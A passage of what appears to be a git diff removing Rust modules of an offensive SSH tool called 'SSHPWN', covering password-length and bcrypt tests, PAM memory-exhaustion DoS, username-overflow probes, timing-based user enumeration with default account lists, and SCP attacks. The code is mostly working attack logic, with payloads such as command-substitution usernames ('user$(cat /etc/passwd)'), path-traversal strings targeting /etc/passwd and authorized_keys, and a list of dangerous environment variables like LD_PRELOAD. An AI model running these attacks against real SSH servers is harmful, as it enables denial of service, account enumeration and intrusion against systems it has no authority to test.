println!("{}", "SUCCESS".green().bold());
} else {
println!("{}", format!("{:.2}s - {}", time, msg).dimmed());
}
}
None => {
println!("{}", "Connection failed".red());
}
}
std::thread::sleep(Duration::from_millis(500));
}
println!();
println!("{}", "=== Bcrypt Truncation Analysis ===".cyan().bold());
// Check if timing is consistent (would indicate truncation)
if results.len() >= 2 {
let time_72 = results.get(0).map(|r| r.1).unwrap_or(0.0);
let time_73 = results.get(1).map(|r| r.1).unwrap_or(0.0);
let time_100 = results.get(2).map(|r| r.1).unwrap_or(0.0);
let diff_73 = (time_73 - time_72).abs();
let diff_100 = (time_100 - time_72).abs();
if diff_73 < 0.1 && diff_100 < 0.1 {
println!("{}", "[*] Timing consistent across all lengths".yellow());
println!("{}", "[*] Server may be using bcrypt (72-byte truncation)".cyan());
println!();
println!("{}", "[!] Implication: Passwords >72 bytes provide no extra security".yellow().bold());
println!("{}", "[*] Password 'AAAA...AAA' (72) == 'AAAA...AAAXXX' (75)".dimmed());
return Ok(true);
}
}
println!("{}", "[*] Timing varies - server may not use bcrypt or has different handling".cyan());
println!("{}", "[*] Cannot confirm 72-byte truncation".dimmed());
Ok(false)
}
/// Prompt helpers
async fn prompt_default(message: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", message, default);
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read input")?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(default.to_string())
} else {
Ok(trimmed.to_string())
}
}
async fn prompt_optional(message: &str) -> Result<Option<String>> {
print!("{} (leave empty to skip): ", message);
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read input")?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(None)
} else {
Ok(Some(trimmed.to_string()))
}
}
async fn prompt_yes_no(message: &str, default: bool) -> Result<bool> {
let hint = if default { "Y/n" } else { "y/N" };
print!("{} [{}]: ", message, hint);
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read input")?;
let trimmed = input.trim().to_lowercase();
match trimmed.as_str() {
"" => Ok(default),
"y" | "yes" => Ok(true),
"n" | "no" => Ok(false),
_ => Ok(default),
}
}
/// Default usernames for timing attack
const DEFAULT_USERNAMES: &[&str] = &[
"root", "admin", "user", "test", "guest",
"ubuntu", "www-data", "daemon", "nobody",
"mysql", "postgres", "oracle", "ftp", "ssh",
];
/// Main entry point
pub async fn run(target: &str) -> Result<()> {
display_banner();
let host = normalize_target(target)?;
println!("{}", format!("[*] Target: {}", host).cyan());
// Get port
let port: u16 = prompt_default("SSH Port", "22").await?.parse().unwrap_or(22);
println!();
println!("{}", "Select attack mode:".yellow().bold());
println!(" 1. Password Length DoS Test");
println!(" 2. Password Change Information Leak (Analysis)");
println!(" 3. Auth Timing Attack (User Enumeration)");
println!(" 4. Bcrypt 72-byte Truncation Test");
println!(" 5. Run All Attacks");
println!();
let mode = prompt_default("Attack mode", "3").await?;
match mode.as_str() {
"1" => {
let username = prompt_default("Username to test", "root").await?;
let max_len: usize = prompt_default("Maximum password length", "8192").await?.parse().unwrap_or(8192);
attack_password_length_dos(&host, port, &username, max_len).await?;
}
"2" => {
attack_password_change_leak(&host, port).await?;
}
"3" => {
let samples: usize = prompt_default("Samples per username", "3").await?.parse().unwrap_or(3);
// Get usernames
let mut usernames: Vec<String> = Vec::new();
if prompt_yes_no("Use default username list?", true).await? {
for user in DEFAULT_USERNAMES {
usernames.push(user.to_string());
}
}
let custom = prompt_optional("Additional usernames (comma-separated)").await?;
if let Some(custom_users) = custom {
for user in custom_users.split(',') {
let user = user.trim();
if !user.is_empty() && !usernames.contains(&user.to_string()) {
usernames.push(user.to_string());
}
}
}
if usernames.is_empty() {
return Err(anyhow!("No usernames to test"));
}
attack_auth_timing(&host, port, &usernames, samples).await?;
}
"4" => {
let username = prompt_default("Username", "root").await?;
let base_password = prompt_default("Base password (will be padded to 72 chars)", "testpassword").await?;
attack_bcrypt_truncation(&host, port, &username, &base_password).await?;
}
"5" | _ => {
println!();
println!("{}", "=== Running All Auth Password Attacks ===".yellow().bold());
println!();
println!("{}", "--- Attack 1: Password Length DoS ---".cyan());
let _ = attack_password_length_dos(&host, port, "root", 4096).await;
println!();
println!("{}", "--- Attack 2: Password Change Info Leak ---".cyan());
let _ = attack_password_change_leak(&host, port).await;
println!();
println!("{}", "--- Attack 3: Auth Timing Attack ---".cyan());
let usernames: Vec<String> = DEFAULT_USERNAMES.iter().map(|s| s.to_string()).collect();
let _ = attack_auth_timing(&host, port, &usernames, 2).await;
println!();
println!("{}", "--- Attack 4: Bcrypt Truncation ---".cyan());
let _ = attack_bcrypt_truncation(&host, port, "root", "testpassword").await;
}
}
println!();
println!("{}", "[*] Auth password attack module complete".green());
Ok(())
}
-640
View File
@@ -1,640 +0,0 @@
//! SSHPWN PAM Attack Module
//!
//! Based on OpenSSH 10.0p1 auth-pam.c vulnerability analysis
//!
//! PAM VULNERABILITIES (auth-pam.c):
//! - sshpam_password static storage - Password recovery via memory forensics (LOW)
//! - pam_putenv() memory leak - DoS via memory exhaustion (LOW)
//! - import_environments() - Environment variable injection (MEDIUM)
//! - Missing username length validation on non-Solaris (LOW-MEDIUM)
//! - setreuid() race condition - Privilege state issues (LOW)
//! - Timing attack mitigation gap - Incomplete coverage (LOW)
//!
//! For authorized penetration testing only.
use anyhow::{anyhow, Context, Result};
use colored::*;
use crate::utils::normalize_target;
use ssh2::Session;
use std::{
io::{Read, Write},
net::TcpStream,
path::Path,
time::{Duration, Instant},
};
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
const DEFAULT_TIMEOUT_SECS: u64 = 30;
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ SSHPWN - PAM Attack Module ║".cyan());
println!("{}", "║ Based on OpenSSH auth-pam.c vulnerability analysis ║".cyan());
println!("{}", "║ ║".cyan());
println!("{}", "║ Attack Modes: ║".cyan());
println!("{}", "║ 1. PAM Memory Exhaustion DoS (pam_putenv leak) ║".cyan());
println!("{}", "║ 2. Username Length Overflow Test ║".cyan());
println!("{}", "║ 3. PAM Timing Attack (user enumeration) ║".cyan());
println!("{}", "║ 4. Environment Variable Injection Test ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
println!();
}
// Use framework's normalize_target utility - removed custom implementation
/// Create SSH session with authentication
fn create_ssh_session(
host: &str,
port: u16,
username: &str,
password: Option<&str>,
keyfile: Option<&str>,
timeout_secs: u64,
) -> Result<(TcpStream, Session)> {
let addr = format!("{}:{}", host, port);
let tcp = TcpStream::connect_timeout(
&addr.parse().context("Invalid address")?,
Duration::from_secs(timeout_secs),
).context("Connection failed")?;
tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)))?;
tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)))?;
let mut sess = Session::new()?;
sess.set_tcp_stream(tcp.try_clone()?);
sess.handshake()?;
// Authenticate
if let Some(key) = keyfile {
sess.userauth_pubkey_file(username, None, Path::new(key), password)?;
} else if let Some(pass) = password {
sess.userauth_password(username, pass)?;
} else {
return Err(anyhow!("No authentication method provided"));
}
if !sess.authenticated() {
return Err(anyhow!("Authentication failed"));
}
Ok((tcp, sess))
}
/// Time a single authentication attempt (for timing attacks)
fn time_auth_attempt(host: &str, port: u16, username: &str, password: &str, timeout_secs: u64) -> Option<f64> {
let addr = format!("{}:{}", host, port);
let start = Instant::now();
let tcp = match TcpStream::connect_timeout(
&addr.parse().ok()?,
Duration::from_secs(timeout_secs),
) {
Ok(s) => s,
Err(_) => return None,
};
let _ = tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)));
let _ = tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)));
let mut sess = match Session::new() {
Ok(s) => s,
Err(_) => return None,
};
sess.set_tcp_stream(tcp);
if sess.handshake().is_err() {
return None;
}
// Try authentication
let _ = sess.userauth_password(username, password);
let elapsed = start.elapsed().as_secs_f64();
Some(elapsed)
}
/// PAM Memory Exhaustion DoS Test
///
/// Vulnerability: auth-pam.c lines 378-382 - pam_putenv() memory leak
/// Each authentication attempt leaks memory. Repeated attempts can exhaust server memory.
pub async fn attack_pam_memory_dos(
host: &str,
port: u16,
iterations: u32,
delay_ms: u64,
) -> Result<bool> {
println!("{}", format!("[*] PAM Memory Exhaustion DoS on {}", host).cyan());
println!("{}", "[*] Vulnerability: auth-pam.c pam_putenv() memory leak".cyan());
println!();
println!("{}", "[!] WARNING: This test performs many authentication attempts".yellow().bold());
println!("{}", "[!] It may trigger account lockouts or rate limiting".yellow());
println!();
println!("{}", format!("[*] Testing with {} iterations, {}ms delay", iterations, delay_ms).cyan());
let mut successful = 0u32;
let mut failed = 0u32;
for i in 0..iterations {
if i % 10 == 0 {
print!("\r[*] Progress: {}/{} (success: {}, fail: {}) ", i, iterations, successful, failed);
let _ = std::io::stdout().flush();
}
// Try authentication with invalid credentials
// Each attempt that reaches PAM processing leaks memory
let invalid_pass = format!("invalid_{}_{}", std::process::id(), i);
match time_auth_attempt(host, port, "nobody", &invalid_pass, 10) {
Some(_) => successful += 1,
None => failed += 1,
}
if delay_ms > 0 {
std::thread::sleep(Duration::from_millis(delay_ms));
}
}
println!();
println!();
println!("{}", "=== PAM Memory DoS Results ===".cyan().bold());
println!("Total attempts: {}", iterations);
println!("Successful connections: {}", successful);
println!("Failed connections: {}", failed);
println!();
if successful > 0 {
println!("{}", "[VULN] Server accepted connections - memory leak may be exploitable".red().bold());
println!("{}", "[*] Monitor server memory usage during extended attacks".cyan());
println!("{}", "[*] Each PAM environment variable leaked per auth attempt".cyan());
Ok(true)
} else {
println!("{}", "[-] Could not establish connections - rate limiting may be active".yellow());
Ok(false)
}
}
/// Username Length Overflow Test
///
/// Vulnerability: auth-pam.c lines 696-699 - Username length only validated on Solaris
/// Non-Solaris systems may be vulnerable to buffer overflows in PAM modules
pub async fn attack_pam_username_overflow(
host: &str,
port: u16,
max_length: usize,
) -> Result<bool> {
println!("{}", format!("[*] PAM Username Length Overflow Test on {}", host).cyan());
println!("{}", "[*] Vulnerability: auth-pam.c missing username length validation".cyan());
println!("{}", "[*] Only Solaris validates PAM_MAX_RESP_SIZE (1024 bytes)".cyan());
println!();
// Test progressively longer usernames
let test_lengths = vec![
64, 128, 256, 512, 1024, 2048, 4096, 8192,
max_length.min(16384),
];
println!("{}", "[*] Testing username lengths:".cyan());
let mut vulnerable_length = None;
for &len in &test_lengths {
if len > max_length {
break;
}
// Generate username of specified length
let username: String = std::iter::repeat('A').take(len).collect();
print!(" Testing {} bytes... ", len);
let _ = std::io::stdout().flush();
let start = Instant::now();
let result = time_auth_attempt(host, port, &username, "test", 15);
let elapsed = start.elapsed();
match result {
Some(t) => {
if elapsed.as_secs() > 10 {
println!("{}", format!("SLOW ({:.2}s) - potential DoS", t).yellow());
vulnerable_length = Some(len);
} else {
println!("{}", format!("OK ({:.2}s)", t).green());
}
}
None => {
if elapsed.as_secs() > 10 {
println!("{}", "TIMEOUT - server may have crashed/hung".red().bold());
vulnerable_length = Some(len);
break;
} else {
println!("{}", "Connection failed".yellow());
}
}
}
// Small delay between tests
std::thread::sleep(Duration::from_millis(500));
}
println!();
println!("{}", "=== Username Overflow Results ===".cyan().bold());
if let Some(len) = vulnerable_length {
println!("{}", format!("[VULN] Potential vulnerability at {} bytes", len).red().bold());
println!("{}", "[*] Server showed abnormal behavior with long username".cyan());
println!("{}", "[*] PAM modules may have fixed-size username buffers".cyan());
Ok(true)
} else {
println!("{}", "[*] No obvious overflow detected".green());
println!("{}", "[*] Server may have proper input validation".cyan());
Ok(false)
}
}
/// PAM Timing Attack - Enhanced user enumeration
///
/// Vulnerability: auth-pam.c lines 1361-1368 - Timing attack mitigation gap
/// fake_password() only used for invalid users/root denied, not for empty passwords
pub async fn attack_pam_timing(
host: &str,
port: u16,
usernames: &[String],
samples: usize,
) -> Result<Vec<String>> {
println!("{}", format!("[*] PAM Timing Attack on {}", host).cyan());
println!("{}", "[*] Vulnerability: auth-pam.c incomplete timing mitigation".cyan());
println!("{}", "[*] Testing: valid vs invalid user timing differences".cyan());
println!();
// Establish baseline with definitely invalid user
let baseline_user = format!("nonexistent_user_{}_{}", std::process::id(), Instant::now().elapsed().as_nanos());
println!("{}", "[*] Establishing baseline timing...".cyan());
let mut baseline_times = Vec::new();
for _ in 0..samples {
if let Some(t) = time_auth_attempt(host, port, &baseline_user, "invalid", 15) {
baseline_times.push(t);
}
std::thread::sleep(Duration::from_millis(100));
}
if baseline_times.is_empty() {
println!("{}", "[-] Could not establish baseline - cannot reach target".red());
return Ok(Vec::new());
}
let baseline = baseline_times.iter().sum::<f64>() / baseline_times.len() as f64;
println!("{}", format!("[*] Baseline timing: {:.3}s", baseline).cyan());
// Test empty password timing (potential gap in fake_password coverage)
println!();
println!("{}", "[*] Testing empty password timing gap...".cyan());
let mut empty_times = Vec::new();
for _ in 0..samples {
if let Some(t) = time_auth_attempt(host, port, &baseline_user, "", 15) {
empty_times.push(t);
}
std::thread::sleep(Duration::from_millis(100));
}
if !empty_times.is_empty() {
let empty_avg = empty_times.iter().sum::<f64>() / empty_times.len() as f64;
let diff = empty_avg - baseline;
if diff.abs() > 0.1 {
println!("{}", format!("[VULN] Empty password timing differs: {:+.3}s", diff).red().bold());
println!("{}", "[*] This may indicate incomplete timing attack mitigation".yellow());
} else {
println!("{}", format!("[*] Empty password timing: {:.3}s (diff: {:+.3}s)", empty_avg, diff).dimmed());
}
}
// Test provided usernames
println!();
println!("{}", "[*] Testing usernames for timing differences...".cyan());
let mut valid_users = Vec::new();
for user in usernames {
print!("\r[*] Testing: {} ", user);
let _ = std::io::stdout().flush();
let mut times = Vec::new();
for _ in 0..samples {
if let Some(t) = time_auth_attempt(host, port, user, "invalid_password", 15) {
times.push(t);
}
std::thread::sleep(Duration::from_millis(100));
}
if !times.is_empty() {
let avg = times.iter().sum::<f64>() / times.len() as f64;
let diff = avg - baseline;
// Significant timing difference indicates valid user
if diff.abs() > 0.3 {
println!("\r{}", format!("[+] Valid user: {} (timing diff: {:+.3}s)", user, diff).green());
valid_users.push(user.clone());
}
}
}
println!();
println!("{}", "=== PAM Timing Results ===".cyan().bold());
if valid_users.is_empty() {
println!("{}", "[-] No valid users found via timing attack".yellow());
} else {
println!("{}", format!("[+] Found {} valid user(s):", valid_users.len()).green());
for user in &valid_users {
println!(" - {}", user.green());
}
}
Ok(valid_users)
}
/// PAM Environment Variable Injection Test
///
/// Vulnerability: auth-pam.c lines 350-383 - import_environments()
/// Up to 1024 env vars imported from PAM subprocess without sanitization
pub async fn attack_pam_env_injection(
host: &str,
port: u16,
username: &str,
password: Option<&str>,
keyfile: Option<&str>,
) -> Result<bool> {
println!("{}", format!("[*] PAM Environment Injection Test on {}", host).cyan());
println!("{}", "[*] Vulnerability: auth-pam.c import_environments()".cyan());
println!("{}", "[*] Tests what environment variables are accepted/set".cyan());
println!();
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
// Check current environment
let dangerous_vars = vec![
"LD_PRELOAD",
"LD_LIBRARY_PATH",
"LD_AUDIT",
"LD_DEBUG",
"LD_PROFILE",
"PATH",
"BASH_ENV",
"ENV",
"CDPATH",
"GLOBIGNORE",
"BASH_FUNC_",
"SSH_AUTH_INFO_0",
"KRB5CCNAME",
"SSH_CONNECTION",
];
println!("{}", "[*] Checking dangerous environment variables:".cyan());
let mut channel = sess.channel_session()?;
channel.exec("env")?;
let mut env_output = String::new();
channel.read_to_string(&mut env_output)?;
channel.wait_close()?;
let mut found_dangerous = Vec::new();
for var in &dangerous_vars {
for line in env_output.lines() {
if line.starts_with(var) {
println!("{}", format!(" [!] {}", line).yellow());
found_dangerous.push(line.to_string());
}
}
}
println!();
println!("{}", "[*] Testing PAM-specific variables:".cyan());
// Check for PAM-related environment
let pam_vars = vec!["PAM_", "SSH_AUTH", "KRB5", "GSSAPI"];
for var in &pam_vars {
for line in env_output.lines() {
if line.contains(var) {
println!("{}", format!(" [PAM] {}", line).cyan());
}
}
}
println!();
println!("{}", "=== PAM Environment Results ===".cyan().bold());
// Explicit session cleanup
drop(sess);
if !found_dangerous.is_empty() {
println!("{}", format!("[!] Found {} potentially dangerous variables", found_dangerous.len()).yellow());
println!("{}", "[*] These could be exploited by malicious PAM modules".cyan());
println!();
println!("{}", "[*] Attack vectors:".cyan());
println!("{}", " - LD_PRELOAD: Load malicious shared library".dimmed());
println!("{}", " - PATH: Execute trojan commands".dimmed());
println!("{}", " - BASH_ENV: Execute code on bash startup".dimmed());
println!("{}", " - KRB5CCNAME: Credential cache manipulation".dimmed());
} else {
println!("{}", "[*] No obviously dangerous variables found in environment".green());
}
println!();
println!("{}", "[*] Note: Environment injection requires compromised PAM module".yellow());
println!("{}", "[*] Check /etc/pam.d/sshd for module configuration".dimmed());
Ok(!found_dangerous.is_empty())
}
/// Prompt helper
async fn prompt(message: &str) -> Result<String> {
print!("{}: ", message);
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read input")?;
Ok(input.trim().to_string())
}
async fn prompt_default(message: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", message, default);
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read input")?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(default.to_string())
} else {
Ok(trimmed.to_string())
}
}
async fn prompt_optional(message: &str) -> Result<Option<String>> {
print!("{} (leave empty to skip): ", message);
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read input")?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(None)
} else {
Ok(Some(trimmed.to_string()))
}
}
async fn prompt_yes_no(message: &str, default: bool) -> Result<bool> {
let hint = if default { "Y/n" } else { "y/N" };
print!("{} [{}]: ", message, hint);
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read input")?;
let trimmed = input.trim().to_lowercase();
match trimmed.as_str() {
"" => Ok(default),
"y" | "yes" => Ok(true),
"n" | "no" => Ok(false),
_ => Ok(default),
}
}
/// Default usernames for timing attack
const DEFAULT_USERNAMES: &[&str] = &[
"root", "admin", "user", "test", "guest",
"ubuntu", "www-data", "daemon", "bin", "sys",
"nobody", "mysql", "postgres", "oracle", "ftp",
"ssh", "apache", "nginx", "tomcat", "redis",
];
/// Main entry point
pub async fn run(target: &str) -> Result<()> {
display_banner();
let host = normalize_target(target)?;
println!("{}", format!("[*] Target: {}", host).cyan());
// Get port
let port: u16 = prompt_default("SSH Port", "22").await?.parse().unwrap_or(22);
println!();
println!("{}", "Select attack mode:".yellow().bold());
println!(" 1. PAM Memory Exhaustion DoS (no auth required)");
println!(" 2. Username Length Overflow Test (no auth required)");
println!(" 3. PAM Timing Attack - User Enumeration (no auth required)");
println!(" 4. Environment Variable Injection (requires auth)");
println!(" 5. Run All Attacks");
println!();
let mode = prompt_default("Attack mode", "3").await?;
match mode.as_str() {
"1" => {
let iterations: u32 = prompt_default("Number of attempts", "100").await?.parse().unwrap_or(100);
let delay: u64 = prompt_default("Delay between attempts (ms)", "100").await?.parse().unwrap_or(100);
attack_pam_memory_dos(&host, port, iterations, delay).await?;
}
"2" => {
let max_len: usize = prompt_default("Maximum username length", "8192").await?.parse().unwrap_or(8192);
attack_pam_username_overflow(&host, port, max_len).await?;
}
"3" => {
let samples: usize = prompt_default("Samples per username", "3").await?.parse().unwrap_or(3);
// Get usernames
let mut usernames: Vec<String> = Vec::new();
if prompt_yes_no("Use default username list?", true).await? {
for user in DEFAULT_USERNAMES {
usernames.push(user.to_string());
}
}
let custom = prompt_optional("Additional usernames (comma-separated)").await?;
if let Some(custom_users) = custom {
for user in custom_users.split(',') {
let user = user.trim();
if !user.is_empty() && !usernames.contains(&user.to_string()) {
usernames.push(user.to_string());
}
}
}
attack_pam_timing(&host, port, &usernames, samples).await?;
}
"4" => {
let username = prompt("Username").await?;
if username.is_empty() {
return Err(anyhow!("Username is required"));
}
let password = prompt_optional("Password").await?;
let keyfile = prompt_optional("SSH Key File Path").await?;
if password.is_none() && keyfile.is_none() {
return Err(anyhow!("Either password or keyfile is required"));
}
attack_pam_env_injection(&host, port, &username, password.as_deref(), keyfile.as_deref()).await?;
}
"5" | _ => {
println!();
println!("{}", "=== Running All PAM Attacks ===".yellow().bold());
println!();
println!("{}", "--- Attack 1: Memory Exhaustion ---".cyan());
if prompt_yes_no("Run memory DoS test (50 iterations)?", false).await? {
let _ = attack_pam_memory_dos(&host, port, 50, 100).await;
} else {
println!("{}", "[*] Skipped".dimmed());
}
println!();
println!("{}", "--- Attack 2: Username Overflow ---".cyan());
let _ = attack_pam_username_overflow(&host, port, 4096).await;
println!();
println!("{}", "--- Attack 3: Timing Attack ---".cyan());
let usernames: Vec<String> = DEFAULT_USERNAMES.iter().map(|s| s.to_string()).collect();
let _ = attack_pam_timing(&host, port, &usernames, 2).await;
println!();
println!("{}", "--- Attack 4: Environment Injection ---".cyan());
println!("{}", "[*] Requires authentication - skipping in automated mode".dimmed());
}
}
println!();
println!("{}", "[*] PAM attack module complete".green());
Ok(())
}
@@ -1,478 +0,0 @@
//! SSHPWN SCP Attack Module
//!
//! Based on OpenSSH 10.0p1 vulnerability analysis
//!
//! SCP VULNERABILITIES (scp.c):
//! - okname() - Incomplete shell character filtering (MEDIUM)
//! - sink() - Path traversal via filename manipulation (HIGH)
//! - do_cmd() - Command injection via arguments (HIGH)
//! - brace_expand() - DoS via exponential expansion (MEDIUM)
//!
//! For authorized penetration testing only.
use anyhow::{anyhow, Context, Result};
use colored::*;
use crate::utils::{normalize_target, validate_file_path};
use ssh2::Session;
use std::{
io::Read,
net::TcpStream,
path::Path,
time::Duration,
};
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
const DEFAULT_TIMEOUT_SECS: u64 = 30;
/// Format a number with thousands separators
fn format_number(n: u64) -> String {
let s = n.to_string();
let bytes: Vec<_> = s.bytes().rev().collect();
let chunks: Vec<_> = bytes.chunks(3)
.filter_map(|chunk| String::from_utf8(chunk.to_vec()).ok())
.collect();
chunks.join(",").chars().rev().collect()
}
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ SSHPWN - SCP Attack Module ║".cyan());
println!("{}", "║ Based on OpenSSH scp.c vulnerability analysis ║".cyan());
println!("{}", "║ ║".cyan());
println!("{}", "║ Attack Modes: ║".cyan());
println!("{}", "║ 1. Path Traversal (sink function) ║".cyan());
println!("{}", "║ 2. Username Shell Injection (okname) ║".cyan());
println!("{}", "║ 3. Brace Expansion DoS (brace_expand) ║".cyan());
println!("{}", "║ 4. Command Injection (do_cmd) ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
println!();
}
// Use framework's normalize_target utility - removed custom implementation
/// Create SSH session with authentication
fn create_ssh_session(
host: &str,
port: u16,
username: &str,
password: Option<&str>,
keyfile: Option<&str>,
timeout_secs: u64,
) -> Result<(TcpStream, Session)> {
let addr = format!("{}:{}", host, port);
let tcp = TcpStream::connect_timeout(
&addr.parse().context("Invalid address")?,
Duration::from_secs(timeout_secs),
).context("Connection failed")?;
tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)))?;
tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)))?;
let mut sess = Session::new()?;
sess.set_tcp_stream(tcp.try_clone()?);
sess.handshake()?;
// Authenticate
if let Some(key) = keyfile {
sess.userauth_pubkey_file(username, None, Path::new(key), password)?;
} else if let Some(pass) = password {
sess.userauth_password(username, pass)?;
} else {
return Err(anyhow!("No authentication method provided"));
}
if !sess.authenticated() {
return Err(anyhow!("Authentication failed"));
}
Ok((tcp, sess))
}
/// Execute command over SSH
fn ssh_exec(sess: &Session, cmd: &str) -> Result<(i32, String, String)> {
let mut channel = sess.channel_session()?;
channel.exec(cmd)?;
let mut stdout = String::new();
let mut stderr = String::new();
channel.read_to_string(&mut stdout)?;
channel.stderr().read_to_string(&mut stderr)?;
channel.wait_close()?;
let exit_code = channel.exit_status()?;
Ok((exit_code, stdout, stderr))
}
/// SCP Path Traversal Attack - Attempt to write outside target directory
///
/// Vulnerability: scp.c sink() validates filenames but may have bypass vectors.
/// The sink() function checks for path components but historical bypasses exist.
pub async fn attack_scp_traversal(
host: &str,
port: u16,
username: &str,
password: Option<&str>,
keyfile: Option<&str>,
) -> Result<bool> {
println!("{}", format!("[*] SCP Path Traversal on {}", host).cyan());
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
// Test various traversal payloads from scp-ssh-wrapper.sh test cases
let traversal_payloads = vec![
("../../../etc/passwd", "Direct traversal"),
("....//....//etc/passwd", "Double-dot bypass"),
("D0755 0 ..\nD0755 0 ..\nC0644 5 test\nhello", "Protocol injection"),
("\\x00/etc/passwd", "Null byte injection"),
("authorized_keys\n../../.ssh/authorized_keys", "Newline injection"),
("T1234567890 0 1234567890 0\n../../../tmp/pwned", "Time header injection"),
];
println!("{}", "[*] Testing SCP protocol traversal vectors:".cyan());
for (payload, desc) in &traversal_payloads {
let preview: String = payload.chars().take(50).collect();
println!("{}", format!(" [{}]: {}", desc, preview).dimmed());
}
// Execute SCP with test payload through SSH
let test_file = format!("/tmp/scp_test_{}", std::process::id());
let test_cmd = format!("echo 'TRAVERSAL_TEST' > {}", test_file);
match ssh_exec(&sess, &test_cmd) {
Ok((code, _, _)) => {
if code == 0 {
println!("{}", "[+] Test file created, checking traversal vectors via protocol...".green());
// Test if we can use SCP to read/write unexpected locations
let check_cmd = format!("ls -la {} 2>/dev/null", test_file);
if let Ok((code, stdout, _)) = ssh_exec(&sess, &check_cmd) {
if code == 0 {
println!("{}", format!("[*] Baseline confirmed: {}", stdout.trim()).cyan());
}
}
}
}
Err(e) => {
println!("{}", format!("[-] Test command failed: {}", e).red());
}
}
// Cleanup
let _ = ssh_exec(&sess, &format!("rm -f {}", test_file));
// Explicit session cleanup
drop(sess);
println!();
println!("{}", "[!] Manual testing required with actual SCP protocol manipulation".yellow());
println!("{}", "[*] Use: scp -v -o 'ProxyCommand=cat /path/to/malicious_protocol' target".dimmed());
Ok(false)
}
/// SCP Username Injection - Test shell metacharacter handling in usernames
///
/// Vulnerability: scp.c okname() blocks limited chars (/, ;, space, !, #)
/// but may allow other shell metacharacters through.
pub async fn attack_scp_username_injection(
host: &str,
_port: u16,
) -> Result<bool> {
println!("{}", format!("[*] SCP Username Injection Test on {}", host).cyan());
// Characters allowed through okname() that could be dangerous
let injectable_chars = vec![
("user$(id)", "Command substitution"),
("user`id`", "Backtick execution"),
("user|id", "Pipe injection"),
("user&id", "Background execution"),
("user\nid", "Newline injection"),
("user$(cat /etc/passwd)", "Data exfiltration"),
("${PATH}", "Variable expansion"),
("user{a,b,c}", "Brace expansion"),
];
println!("{}", "[*] Characters filtered by okname(): /;! #".cyan());
println!("{}", "[*] Characters NOT filtered (potentially dangerous):".yellow().bold());
for (payload, desc) in &injectable_chars {
println!("{}", format!(" [{}]: {:?}", desc, payload).red());
}
println!();
println!("{}", "[*] To test manually:".cyan());
println!("{}", format!(" scp 'user$(id)@{}:/etc/passwd' /tmp/test", host).dimmed());
println!("{}", format!(" scp /etc/passwd '`id`@{}:/tmp/'", host).dimmed());
println!();
println!("{}", "[!] Direct testing requires SCP binary execution".yellow());
println!("{}", "[*] Framework identifies vulnerable code path, manual verification required".cyan());
Ok(true)
}
/// SCP Brace Expansion DoS - Memory exhaustion via exponential expansion
///
/// Vulnerability: scp.c brace_expand() function can exponentially expand patterns.
/// Pattern like {a,b}{c,d}{e,f}... expands to 2^n strings.
pub async fn attack_scp_brace_dos(
host: &str,
port: u16,
username: &str,
password: Option<&str>,
keyfile: Option<&str>,
depth: u32,
) -> Result<bool> {
println!("{}", format!("[*] SCP Brace Expansion DoS on {}", host).cyan());
// Calculate expansion
let expansion_size: u64 = 2u64.pow(depth);
println!("{}", format!("[*] Testing depth {} = {} strings", depth, format_number(expansion_size)).cyan());
// Generate malicious pattern
let pattern: String = (0..depth).map(|_| "{a,b}").collect();
println!("{}", format!("[VULN] Malicious pattern: {}", pattern).red().bold());
// This would DoS the client, not server
println!();
println!("{}", "[!] This is a CLIENT-SIDE DoS vulnerability!".yellow().bold());
println!("{}", "[*] Malicious server can send this pattern to exhaust client memory".cyan());
// Test small expansion to verify server is vulnerable
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
// Create test pattern on server
let small_pattern = "{a,b}{c,d}"; // 4 expansions - safe
let cmd = format!(
"mkdir -p /tmp/bracetest && cd /tmp/bracetest && touch {} 2>/dev/null; ls /tmp/bracetest/",
small_pattern
);
match ssh_exec(&sess, &cmd) {
Ok((code, stdout, _)) => {
if code == 0 && !stdout.is_empty() {
println!("{}", format!("[+] Brace expansion active: {}", stdout.trim()).green());
println!("{}", "[VULN] Server/client supports brace expansion - DoS possible".red().bold());
}
}
Err(e) => {
